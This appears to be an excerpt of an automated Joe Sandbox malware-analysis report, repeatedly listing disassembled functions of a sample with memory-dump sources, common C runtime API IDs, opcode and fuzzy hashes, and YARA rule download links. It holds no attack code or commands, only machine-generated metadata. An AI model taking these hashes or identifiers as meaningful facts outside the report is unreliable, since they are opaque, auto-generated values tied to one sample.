                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$memcpy
                                  • String ID:
                                  • API String ID: 3800483350-0
                                  • Opcode ID: 02b9ae5a013ee2f29f00789c869f89056a85886b2e4cff7aeeaac901525a1d51
                                  • Instruction ID: da329fca1172fd595cf72208ebef762d84bb710d9117c29b23b707ccc0f25e60
                                  • Opcode Fuzzy Hash: 02b9ae5a013ee2f29f00789c869f89056a85886b2e4cff7aeeaac901525a1d51
                                  • Instruction Fuzzy Hash: 7BA1A96363BA4745EA61AF15E91027AA6B2AB49BD0F844631CF8D47791FF3CF4828350
                                  Function 00007FF7796F64F0 Relevance: 6.2, APIs: 4, Instructions: 241COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memset
                                  • String ID:
                                  • API String ID: 2221118986-0
                                  • Opcode ID: 06bcf27b9f9da240dc0868757c2916d576c3230e37a736bb9f8626e71eb8801a
                                  • Instruction ID: fcff5b4dd59611be795e6213b53abe25939c2e9f6c71a1f38a53afbe2be5870e
                                  • Opcode Fuzzy Hash: 06bcf27b9f9da240dc0868757c2916d576c3230e37a736bb9f8626e71eb8801a
                                  • Instruction Fuzzy Hash: 6591C673A35A4787E7349E2AD15476AB7B3EB14790F408235CB5AC7B80EA2DF4418B10
                                  Function 00007FF779710F70 Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memset
                                  • String ID:
                                  • API String ID: 2221118986-0
                                  • Opcode ID: 3c04a9d5fa0e69046c5dc2e7c457146978f8f163ab23e189bd4247a93fbb4af8
                                  • Instruction ID: fa665df486756c8e9f8c9f4c1a59bb78e3a90f645dda3d7df17a17264ed51ff4
                                  • Opcode Fuzzy Hash: 3c04a9d5fa0e69046c5dc2e7c457146978f8f163ab23e189bd4247a93fbb4af8
                                  • Instruction Fuzzy Hash: E391D233E7A287CBF7389E1AD540779F6B1AB987D0F448535CB5A4BB80DA2CE4418790
                                  Function 00007FF77970F3D0 Relevance: 6.2, APIs: 4, Instructions: 186COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 1e285367feb4afe0847244d2031beab91f6261c59615f80f46d5ac3eaa156d84
                                  • Instruction ID: 35ced47d497ae4fa946226d80adcdf983a4196fc4904a83c8459ad0149a1e58c
                                  • Opcode Fuzzy Hash: 1e285367feb4afe0847244d2031beab91f6261c59615f80f46d5ac3eaa156d84
                                  • Instruction Fuzzy Hash: 587173A7A26B4683DE64DF1AE885179A3B1FB58FC0F548432DF8D477A0DF2CE4528250
                                  Function 00007FF7797097B0 Relevance: 6.2, APIs: 4, Instructions: 163COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 178bcdf490fc3efe4e1ec1d5bd69b4c8c4ebade7a4d419b1369cd77cbe23b087
                                  • Instruction ID: 49c267d0fafc13fccfac1d3f7410e47870a34effe28bfea8ee0421ea87966a73
                                  • Opcode Fuzzy Hash: 178bcdf490fc3efe4e1ec1d5bd69b4c8c4ebade7a4d419b1369cd77cbe23b087
                                  • Instruction Fuzzy Hash: 1D5193B3A26B4682DF659F16E4542ADA7B1EB98FC0F448132CB8D077A4DF3CD0568250
                                  Function 00007FF7797099D0 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 9213ca56535c4578a33ced58ccc4a0381c131ebe365f39c6624de3ce32fe5848
                                  • Instruction ID: 5209bee5eb311f7399a2d6fe77302d5f2b0439d72772a68438207be19fcc2c6e
                                  • Opcode Fuzzy Hash: 9213ca56535c4578a33ced58ccc4a0381c131ebe365f39c6624de3ce32fe5848
                                  • Instruction Fuzzy Hash: 885180A3A16B8682DB259F1AE454269B7B1FB58FC4B448032CB9D07760EF2CD0568240
                                  Function 00007FF7796FE7E0 Relevance: 6.1, APIs: 4, Instructions: 143COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: 4e796562e045bc2085d3b63e2954ae181bebf3aa6fa207e791bf8cbf0b0f1a7d
                                  • Instruction ID: 00df974acd17e625385cbc2636c7dc0d861e472da04f97ec4f3ef55505e4429b
                                  • Opcode Fuzzy Hash: 4e796562e045bc2085d3b63e2954ae181bebf3aa6fa207e791bf8cbf0b0f1a7d
                                  • Instruction Fuzzy Hash: 1851C337A3BB4795DA56AF1194402BEABA7BB04780F854631DF6C4B381EF38E561C320
                                  Function 00007FF779700720 Relevance: 6.1, APIs: 4, Instructions: 135stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$reallocstrlen
                                  • String ID:
                                  • API String ID: 2374275640-0
                                  • Opcode ID: bbc9eb8fda263d5572ec69c747bc96ed4425b9f9bdd2f426fc37a50d399e2334
                                  • Instruction ID: f0b4755a16210c30eb23a8664e4dc620936abcc04cf592d1d28c005e8bf7efb4
                                  • Opcode Fuzzy Hash: bbc9eb8fda263d5572ec69c747bc96ed4425b9f9bdd2f426fc37a50d399e2334
                                  • Instruction Fuzzy Hash: 2741F42362674682EB64AF25E8406A877B0FB48BD5F984531DF8C0B791DF3CD4A2C350
                                  Function 00007FF779712F20 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 133COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: CriticalLeaveSectionfreememset
                                  • String ID:
                                  • API String ID: 1662925646-3916222277
                                  • Opcode ID: 0ec8e0e19579407a327e1592c23b44f66c2b945ff42066c7724425ab7031865f
                                  • Instruction ID: 76a2e03fec0247b8350694164d059a93f47340e4bc435ab634fb4c4cec0e1f27
                                  • Opcode Fuzzy Hash: 0ec8e0e19579407a327e1592c23b44f66c2b945ff42066c7724425ab7031865f
                                  • Instruction Fuzzy Hash: E041E563A76643C7EA25AF1494402BCB771EB887E4F808A31CA5F037E1DE38E596C350
                                  Function 00007FF779708FC0 Relevance: 6.1, APIs: 4, Instructions: 131COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID:
                                  • API String ID: 1059646398-0
                                  • Opcode ID: 302b9d3f0cf64db1bf55221c519113ff95167a7d3676b02519fd1c4a4701ce77
                                  • Instruction ID: b4bf082831b17b984d7d6c2931da8178be23d55e4951c5233abb43d8ebe051a9
                                  • Opcode Fuzzy Hash: 302b9d3f0cf64db1bf55221c519113ff95167a7d3676b02519fd1c4a4701ce77
                                  • Instruction Fuzzy Hash: EA41C5A3A26B8282EF299F15E4402ADB371EB98BC4F548630DB9D07395FF2CD591C350
                                  Function 00007FF77970B9A0 Relevance: 6.1, APIs: 4, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID:
                                  • API String ID: 1059646398-0
                                  • Opcode ID: 0d7666657fd6939fd31a0668dc5394f8c5ed6a9fe7f585d47596b9263e8e10d9
                                  • Instruction ID: dd2a78f50f6f9e50168476a7626bd67674f2367827cf05642f6c5316531c7f1f
                                  • Opcode Fuzzy Hash: 0d7666657fd6939fd31a0668dc5394f8c5ed6a9fe7f585d47596b9263e8e10d9
                                  • Instruction Fuzzy Hash: EE41D2B3A26B8282DB149F09E4443A9A7B1EB48BC0F418631DF9C0B7A1EF2CD542C350
                                  Function 00007FF779709D00 Relevance: 6.1, APIs: 4, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: fbc8c95ca6f8518ba7c3563b4af5def5134fbf6b9430f51e1a2fd6be112007f3
                                  • Instruction ID: 703c059b30d4b2d567f9b3c73a59df7d06ab249405bf56410be59832a84f1ebe
                                  • Opcode Fuzzy Hash: fbc8c95ca6f8518ba7c3563b4af5def5134fbf6b9430f51e1a2fd6be112007f3
                                  • Instruction Fuzzy Hash: CF515CB3A16B8682DB259F5AE4402A9B7B1FB58FC0B548532CB8E077A1DF3CE4518340
                                  Function 00007FF779705B70 Relevance: 6.1, APIs: 4, Instructions: 127COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 20953f9e9240fd2666c6fd200cec74d4ec21cc6e74914b9a1bb946a4a4a6ed08
                                  • Instruction ID: 245f59806551b03d15c2a56bdfb6b56dbdba152276f70d90700a30ca62bf94e0
                                  • Opcode Fuzzy Hash: 20953f9e9240fd2666c6fd200cec74d4ec21cc6e74914b9a1bb946a4a4a6ed08
                                  • Instruction Fuzzy Hash: 2C4140B3A26B8782DB259F56E44426AB371FB58BC4F848531CB8E477A1EF3CD4418340
                                  Function 00007FF779712060 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fputclocaleconv
                                  • String ID:
                                  • API String ID: 697933784-0
                                  • Opcode ID: e7dc6929fcf4cc6b6d4a8017c3bf5789be4cf754bd583aa0524452777b434767
                                  • Instruction ID: fa0b6931fb34c11b16d5e99f011db0d0f9121bfe1f32b606e39a586a0247e754
                                  • Opcode Fuzzy Hash: e7dc6929fcf4cc6b6d4a8017c3bf5789be4cf754bd583aa0524452777b434767
                                  • Instruction Fuzzy Hash: D641B763E75143C7F738AE62E48137AB2B1EB5C790F500535DB6E42BC1DA2CE58297A0
                                  Function 00007FF77970B760 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 0110527e016c01b0a12a7529867a8ac73845aff24685a5758aca368fee7433c9
                                  • Instruction ID: 693412f4af9dc3a3d611e5163a1a510eb41b684d47fcb5edeb325b601e1fccfc
                                  • Opcode Fuzzy Hash: 0110527e016c01b0a12a7529867a8ac73845aff24685a5758aca368fee7433c9
                                  • Instruction Fuzzy Hash: 633164B3A16B4683DE25AF5AF850369A371EB58BC4F448431CB9D077A1EF3CD5818350
                                  Function 00007FF77970DB70 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: enum$struct$union
                                  • API String ID: 2803490479-1076304440
                                  • Opcode ID: 9eeface4d110fd4f93855d0c537ecc8917bf5016c94e455d4abe1fc3c89d10f7
                                  • Instruction ID: ba6ee050e5010f6fdc60dc0537b83be9e646ed98773ebb77a7864310e05ab12d
                                  • Opcode Fuzzy Hash: 9eeface4d110fd4f93855d0c537ecc8917bf5016c94e455d4abe1fc3c89d10f7
                                  • Instruction Fuzzy Hash: DF31F23362AB4285E645AF09A89867A62B5EB48BD0F944536DE4D077D0EE3CE583C360
                                  Function 00007FF77970E5F0 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 92ab20d4474b65fcd413b3cc6ffba1703cdc3f62fa15c2224de3fc87839058f1
                                  • Instruction ID: e4c708134709141a1f2125b16f8f7ec427f256701ce76c2136724c4c5a78ac0c
                                  • Opcode Fuzzy Hash: 92ab20d4474b65fcd413b3cc6ffba1703cdc3f62fa15c2224de3fc87839058f1
                                  • Instruction Fuzzy Hash: C23191B3A26B4683DE299F5AF854269A371EF58BC0F448431CB9E07791EF3CE4418250
                                  Function 00007FF7796FFF19 Relevance: 6.1, APIs: 4, Instructions: 97COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
